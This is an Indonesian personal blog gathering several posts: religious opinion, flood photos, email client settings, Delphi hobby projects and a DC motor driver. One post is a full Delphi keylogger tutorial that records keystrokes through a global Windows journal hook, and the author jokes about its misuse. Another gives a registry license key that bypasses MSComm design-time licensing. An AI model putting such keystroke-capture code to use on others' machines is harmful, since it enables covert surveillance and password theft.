Tanggapanku Tentang Ahmadiyah

Hangatnya berita tentang Ahmadiyah minggu-minggu ini, membuat saya tidak habis pikir tentang kejadian-kejadian yang menyangkut Ahmadiyah ini.

Saya sih bukan pendukung Ahmadiyah dan juga bukan pembenci Ahmadiyah.

Saya lebih mencintai yang namanya Islam. Walaupun saya belum 100 % dapat menjalankan ajaran-ajarannya dan belum dapat menyumbang banyak kepada Islam itu sendiri. Tapi saya merasa Islam itu indah dan menyejukkan.

Sebagai seorang yang mencintai Islam, tentunya saya tidak ingin cinta saya itu di zalimi oleh orang yang menghilangkan keindahan dan kesejukan itu, baik dari orang yang bukan Islam maupun orang-orang yang berkedok Islam sendiri.

Sungguh pemikiran bijak yang tertulis di link ini.

Dapatkah kita semua berfikir jernih seperti itu ?

Banjir Bandang Di Sungai Sunggal Memutus Langkahku Menuju Kota Medan

Banjir Sunggal Kanan

Banjir Bandang Sunggal Kanan

Banjir Paya Geli

Banjir Merendam Jalan Paya Geli

Jl. Tanjung Balai

Banjir Juga Menutupi Jalan Tanjung Balai Sunggal Kanan

Cara Install Componen MSComm Di Delphi 7

Bagi rekan-rekan yang belum memiliki komponen MSComm di Delphi 7 nya, berikut saya sampaikan tips cara menginstallnya :

  1. Buka Delphi 7
  2. Pilih menu “Component”
  3. Pilih sub menu “Import ActiveX Control”
  4. Pada jendela Import ActiveX, cari “Microsoft Comm Control 6.0 (Version 1.1)”. Jika komonen Microsoft Comm Control 6.0 (Version 1.1) belum ada dalam daftar, Anda dapat mengunduhnya file MSComm32.ocx untuk diinstall terlebih dahulu. Unduh filenya disini. Jika telah terinstall ikuti langkah 5.
  5. Pilih “Microsoft Comm Control 6.0 (Version 1.1)” kemudian tekan tombol “Install…”
  6. Setelah selesai, masuk ke regedit dengan cara ( pilih Start – Run – ketik regedit ).
  7. Setelah muncul windows “Registor Editor”, cari key HKEY_CLASSES_ROOT / Licenses /4250E830-6AC2-11cf-8ADB-00AA00C00905 , lalu isi key-nya
    dengan value berikut “kjljvjjjoquqmjjjvpqqkqmqykypoqjquoun” (tanpa tanda petik ).
  8. Komponen MSComm sudah siap untuk digunakan. Selamat berkreasi.

Setting Incoming & Outgoing Mail Client For Yahoo, Hotmail And More

Hotmail kini dapat dihubungkan ke Microsoft Outlook melalui account email POP. Untuk melakukannya, anda harus mendownload Microsoft Office Outlook Connector.

Layanan Google Gmail menawarkan sebuah server SMTP (outgoing mail server) untuk account Gmail. Untuk menggunakan Google Gmail SMTP server, gunakan informasi berikut:

    Google Gmail Outgoing Mail Server (SMTP): smtp.gmail.com
    The Gmail SMTP server requires authentication (use the same settings as for the incoming mail server)
    The Google Gmail SMTP Server requires an encrypted connection (SSL) on port 465.

dots Mengapa kita perlu pengaturan diatas ?

Hotmail, Yahoo Mail, GMail dan penyedia email lainnya pada dasarnya adalah layanan email yang dirancang untuk memberi Anda accesss ke kotak email langsung dari web. Namun, untuk online dan log on ke situs mereka bukanlah merupakan cara yang paling nyaman untuk membaca dan mengirim email Anda.

On the other hand, you have the alternative to send and receive emails through such a mailbox by using a local email client software, such as Outlook Express, Microsoft Outlook, Thunderbird, etc. In order to properly use it, you need to configure your email software with the incoming and outgoing mail servers of your email provider (Hotmail, Gmail, Yahoo! Mail or else).

dots Mail Server Settings

  • Hotmail Settings
  • As other web based email services, Hotmail is using the HTTP protocol for connecting you to your mailbox. If you want to send and receive Hotmail emails using an email client software, then your software must support Hotmail HTTP access for your email account. Some email clients, such as Outlook Express or Microsoft Outlook, offer builtin support for Hotmail accounts, so you only have to select HTTP when you are asked to select your email account type and select Hotmail as the HTTP Mail Service Provider.

    Mail Server Settings for Hotmail using the Microsoft Outlook Connector

    If you are using Microsoft Outlook & the Outlook Connector, you can define your Hotmail account just like any regular POP3 email account:

      Hotmail Incoming Mail Server (POP3) – pop3.live.com (logon using Secure Password Authentification – SPA, mail server port: 995)
      Hotmail Outgoing Mail Server (SMTP) – smtp.live.com (SSL enabled, port 25)
  • Yahoo! Mail Settings
  • Yahoo Mail offers standard POP3 access for receiving emails incoming through your Yahoo mailbox, by using your favorite email client software. To setup your email client for working with your Yahoo account, you need to select the POP3 protocol and use the following mail server settings:

      Yahoo Incoming Mail Server (POP3) – pop.mail.yahoo.com (port 110)
      Yahoo Outgoing Mail Server (SMTP) – smtp.mail.yahoo.com (port 25)

    POP Yahoo! Mail Plus email server settings

      Yahoo Plus Incoming Mail Server (POP3) – plus.pop.mail.yahoo.com (SSL enabled, port 995)
      Yahoo Plus Outgoing Mail Server (SMTP) – plus.smtp.mail.yahoo.com (SSL enabled, port 465, use authentication)
  • Google GMail Settings
  • The Google GMail service offers email client access for retrieving and sending emails through your Gmail account. However, for security reasons, GMail uses POP3 over an SSL connection, so make sure your email client supports encrypted SSL connections.

      Google Gmail Incoming Mail Server (POP3) – pop.gmail.com (SSL enabled, port 995)
      Outgoing Mail Server – use the SMTP mail server address provided by your local ISP or smtp.gmail.com (SSL enabled, port 465)
  • MSN Mail Settings
  • The MSN email service allows you to use the MSN POP3 and SMTP servers to access your MSN mailbox.

      MSN Incoming Mail Server (POP3) – pop3.email.msn.com (port 110, using Secure Password Authentication – SPA)
      MSN Outgoing Mail Server – smtp.email.msn.com (select “My outgoing server requires authentication”)
  • Lycos Mail Settings
  • The Lycos Mail Plus service allows you to use POP3 and SMTP servers for accessing your Lycos mailbox.

      Lycos Mail Incoming Mail Server (POP3) – pop.mail.lycos.com (port 110)
      Outgoing Mail Server – smtp.mail.lycos.com or use your local ISP SMTP mail server
  • AOL Mail Settings
  • The AOL email service is a web based system, designed for managing your AOL mailbox via HTTP IMAP access. Unlike Hotmail, you can use any email client to access your AOL mailbox, as long as it supports the IMAP protocol.

      AOL Incoming Mail Server (IMAP) – imap.aol.com (port 143)
      AOL Outgoing Mail Server – smtp.aol.com or use your local ISP SMTP mail server
  • Mail.com Mail Settings
  • The Mail.com email service allows you to use POP3 and SMTP servers for accessing your Mail.com mailbox.

      Mail.com Mail Incoming Mail Server (POP3) – pop1.mail.com (port 110)
      Outgoing Mail Server – use your local ISP SMTP mail server
  • Netscape Internet Service Mail Settings
  • The Netscape e-mail system is web-based, which means you can access their e-mail from any Internet connection. Netscape Internet Service also supports AOL® Communicator, Microsoft® Outlook, Microsoft® Outlook Express, and other POP3 e-mail software. The outgoing mail server needs SSL support, so make sure your email client software supports SSL connections over the SMTP protocol.

      Netscape Internet Service Incoming Mail Server (POP3) – pop.3.isp.netscape.com (port 110)
      Netscape Internet Service Outgoing Mail Server – smtp.isp.netscape.com (port 25, using a secure SSL connection)
  • Tiscali Mail Settings
  • The Tiscali email service allows you to use POP3 and SMTP servers for accessing your Tiscali mailbox.

      Tiscali Incoming Mail Server (POP3) – pop.tiscali.com (port 110)
      Outgoing Mail Server – use your local ISP SMTP mail server
  • Freeserve Mail Settings
  • The Freeserve email service allows you to use POP3 and SMTP servers for accessing your Freeserve mailbox.

      Freeserve Incoming Mail Server (POP3) – pop.freeserve.com (port 110)
      Outgoing Mail Server – use your local ISP SMTP mail server
  • Supanet Mail Settings
  • The Supanet email service allows you to use POP3 and SMTP servers for accessing your Supanet mailbox.

      Supanet Incoming Mail Server (POP3) – pop.supanet.com (port 110)
      Outgoing Mail Server – use your local ISP SMTP mail server

    If your email client does not support Hotmail as a Mail Service Provider or if it simply doesn’t work with your mail server settings, you can use a 3rd party solution like Hotmail Popper, IzyMail, POP Peeper or Email2Pop. When using such tools, you should define your Hotmail account as a POP3 account and you will need to define your incoming mail server will as ‘localhost’ (or 127.0.0.1).

    Program Autentifikasi Buka Tutup Pintu

    Program ini dibuat menggunakan Borland Delphi 7 dengan Database Desktop sebagai tools untuk pembuatan tabel-tabelnya. Sedangkan untuk koneksi rangkaiannya menggunakan port paralel.

    a. Tampilan Utama Program

    utama

    b. Rangkaian Power Suplay

    ps

    c. Rangkaian Driver

    driver

    d. Miniatur Pintu

    p1

    p2

    Bila Anda berminat untuk memilikinya dapat menghubungi email berikut :
    isoke@rocketmail.com

    Keyboard Hooks (Keylogger) Pakai Delphi

    Mungkin istilah “Keylogger” tidak asing di telinga kita, definisi aplikasi keylogger menurut saya adalah suatu aplikasi yang mampu merekam setiap tombol yang ditekan pada keyboard…hummm…trus gunanya buat apa???sebenarnya saya belum begitu mengerti tentang kegunaan positifnya tapi kalo negatifnya tahu, xixixiixi…:D…nah di tutorial ini saya akan mencoba mengimplementasikan cara pembuatan keylogger itu sendiri.

    Langkah awal kita rancang suatu form dengan design sebagai berikut :

    rc_hook

    dah terserah akan dirancang seperti apa yang penting harus memperhatikan nama yg penting berikut ini :

    * TForm : frmMain
    * TButton : btnHook,btnUnHook
    * TMemo: mLog

    setelah itu supaya tampilannya mirip DOS(komponen memonya) pada event onKeyPress kita masukkan sintak :

    function JournalCallBackProc(Code: Integer; wParam, lParam: longint): LRESULT;stdcall;
    var y : string ;
    var x : cardinal ;
    var ev : t_evt;
    begin
    ev := ptr(lParam);
    x := ev.paramL ;
    if ev.message = 256 then
    begin
    case x of
    283 : UnhookWindowsHookEx(hookhandle);
    7745 : y := ‘a’ ;
    12354 : y := ‘b’ ;
    11843 : y := ‘c’ ;
    8260 : Y := ‘d’ ;
    4677 : y := ‘e’ ;
    8518 : y := ‘f’ ;
    8775 : Y := ‘g’ ;
    9032 : y := ‘h’ ;
    5961 : y := ‘i’ ;
    9290 : y := ‘j’ ;
    9547 : y := ‘k’ ;
    9804 : y := ‘l’ ;
    12877 : y := ‘m’ ;
    12622 : y := ‘n’ ;
    6223 : y := ‘o’ ;
    6480 : y := ‘p’ ;
    4177 : y := ‘q’ ;
    4946 : y := ‘r’ ;
    8019 : y := ‘s’ ;
    5204 : y := ‘t’ ;
    5717 : y := ‘u’ ;
    12118 : y := ‘v’ ;
    4439 : y := ‘w’ ;
    11608 : y := ‘x’ ;
    11353 : y := ‘y’ ;
    5466 : y := ‘z’ ;
    14627 : y := ‘ ‘ ;
    7181 : frmMain.mLog.Lines.Add(”);
    end;
    end;
    bla := y ;
    frmMain.mLog.Text := frmMain.mLog.Text + y ;
    end;

    perlu diingat bahwa ini adalah native function, jadi untuk dapat dipanggil pada event selanjutnya, function ini harus berada pada urutan paling atas.

    nah sekarang saatnya memasang sintak pada button, untuk button “Hook” event onClick kita akan pasangkan sintak sebagai berikut :

    hookhandle := SetWindowsHookEx(WH_JOURNALRECORD, @JournalCallBackProc , Hinstance, 0);
    if hookhandle = 0 then
    begin
    mLog.Lines.Add(‘Hook Failed’);
    end
    else
    begin
    mLog.Lines.Add(‘Hooked’);
    btnHook.Enabled := FALSE;
    btnUnHook.Enabled := TRUE;
    end;

    dan untuk button “unHook” event onClick kita pasangkan sintak sebagai berikut :

    if UnhookWindowsHookEx(hookhandle) then
    begin
    mLog.Lines.Add(‘Unhooked’);
    btnUnHook.Enabled := FALSE;
    btnHook.Enabled := TRUE;
    end
    else
    begin
    mLog.Lines.Add(‘Unhooked’);
    end;
    nah setelah mengikuti langkah-langkah di atas sekarang saatnya mencoba aplikasi dengan menekan tombol F9 pada keyboard dan apabila telah benar maka hasilnya adalah sebagai berikut :

    Aplikasi Hook Keyboard

    Listing aplikasi selengkapnya adalah sebagai berikut :

    unit uMain;

    interface

    uses
    Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
    Dialogs, StdCtrls, ExtCtrls;

    type
    TfrmMain = class(TForm)
    Panel1: TPanel;
    btnHook: TButton;
    btnUnhook: TButton;
    mLog: TMemo;
    procedure btnHookClick(Sender: TObject);
    procedure btnUnhookClick(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure mLogKeyPress(Sender: TObject; var Key: Char);
    private
    { Private declarations }
    public
    { Public declarations }
    end;
    type t_evt = ^EVENTMSG;

    var
    frmMain: TfrmMain;
    hookhandle : HHOOK;
    bla : string;

    implementation

    {$R *.dfm}
    function JournalCallBackProc(Code: Integer; wParam, lParam: longint): LRESULT;stdcall;
    var y : string ;
    var x : cardinal ;
    var ev : t_evt;
    begin
    ev := ptr(lParam);
    x := ev.paramL ;

    if ev.message = 256 then begin
    case x of
    283 : UnhookWindowsHookEx(hookhandle);
    7745 : y := ‘a’ ;
    12354 : y := ‘b’ ;
    11843 : y := ‘c’ ;
    8260 : Y := ‘d’ ;
    4677 : y := ‘e’ ;
    8518 : y := ‘f’ ;
    8775 : Y := ‘g’ ;
    9032 : y := ‘h’ ;
    5961 : y := ‘i’ ;
    9290 : y := ‘j’ ;
    9547 : y := ‘k’ ;
    9804 : y := ‘l’ ;
    12877 : y := ‘m’ ;
    12622 : y := ‘n’ ;
    6223 : y := ‘o’ ;
    6480 : y := ‘p’ ;
    4177 : y := ‘q’ ;
    4946 : y := ‘r’ ;
    8019 : y := ‘s’ ;
    5204 : y := ‘t’ ;
    5717 : y := ‘u’ ;
    12118 : y := ‘v’ ;
    4439 : y := ‘w’ ;
    11608 : y := ‘x’ ;
    11353 : y := ‘y’ ;
    5466 : y := ‘z’ ;
    14627 : y := ” ;
    14624 : y := ‘ ‘ ;
    7181 : frmMain.mLog.Lines.Add(‘ ‘);
    end;
    end;
    bla := y ;
    frmMain.mLog.Text := frmMain.mLog.Text + y ;
    end;

    procedure TfrmMain.btnHookClick(Sender: TObject);
    begin
    hookhandle := SetWindowsHookEx(WH_JOURNALRECORD, @JournalCallBackProc , Hinstance, 0);
    if hookhandle = 0 then begin
    mLog.Lines.Add(‘Hook Failed’);
    end
    else begin
    mLog.Lines.Add(‘Hooked’);
    btnHook.Enabled := FALSE;
    btnUnHook.Enabled := TRUE;
    end;

    end;

    procedure TfrmMain.btnUnhookClick(Sender: TObject);
    begin
    if UnhookWindowsHookEx(hookhandle) then begin
    mLog.Lines.Add(‘Unhooked’);
    btnUnHook.Enabled := FALSE;
    btnHook.Enabled := TRUE;
    end
    else begin
    mLog.Lines.Add(‘Unhooked’);
    end;

    end;

    procedure TfrmMain.FormCreate(Sender: TObject);
    begin
    btnHook.Enabled := TRUE;
    btnUnHook.Enabled := FALSE;
    end;

    procedure TfrmMain.mLogKeyPress(Sender: TObject; var Key: Char);
    begin
    createCaret(mLog.Handle, 0, 8,15);
    ShowCaret(mLog.Handle);
    SetCaretBlinktime(1500);
    end;
    end.

    Demikian tutorial ini dibuat dan semoga bermanfaat bagi temen-temen semua.

    Merangkai Driver Untuk Motor DC

    Setelah keinginanku untuk membuat rangkaian driver untuk motor dc menggunakan IC L298 gagal disebabkan tidak tersedianya IC tersebut dipasaran kota medan khususnya di daerah tempatku tinggal ( Medan Sunggal ). Akhirnya ku coba membuatnya dengan menggunakan relay 12 Volt. Untuk membuat rangkaian ini dibutuhkan 2 buah relay, beberapa resistor dan transistor untuk menggerakkan motor dc sebanyak 1 buah dengan arah yang berlawanan ( 2 arah ). Padahal jika menggunakan IC L298 rangkaian akan lebih sederhana. Coba perhatikan gambar dibawah ini :

    Driver Motor DC menggunakan Relay+Transistor

    relay+tr

    Driver Motor DC menggunakan IC L298

    Rangkaian L298

    Gambar 1 memperlihatkan rangkaian driver untuk menggerakkan 1 buah motor dc. Untuk menggerakkan 2 motor dc, berarti kita mesti membuat 1 buah rangkaian lagi yang sama persis dengan Gambar 1.

    Bandingkan dengan jika kita menggunakan IC L298 ( Gambar 2 ) dengan 1 IC L298 kita sudah bisa menjalankan 2 buah motor DC sekaligus dengan kemampuan gerak 2 arah untuk masing-masing motor DC. Jadi mana yang lebih sederhana ? Tentu yang Gambar 2 khan …

    Tapi ngak apalah yang penting keinginan aku untuk dapat menggerakkan motor dc sudah kesampaian. Tinggal menghubungkannya ke komputer untuk proses controlnya dan rencananya ini akan menggunakan port paralel (DB-25). Tunggu kelanjutannya di sesi berikutnya …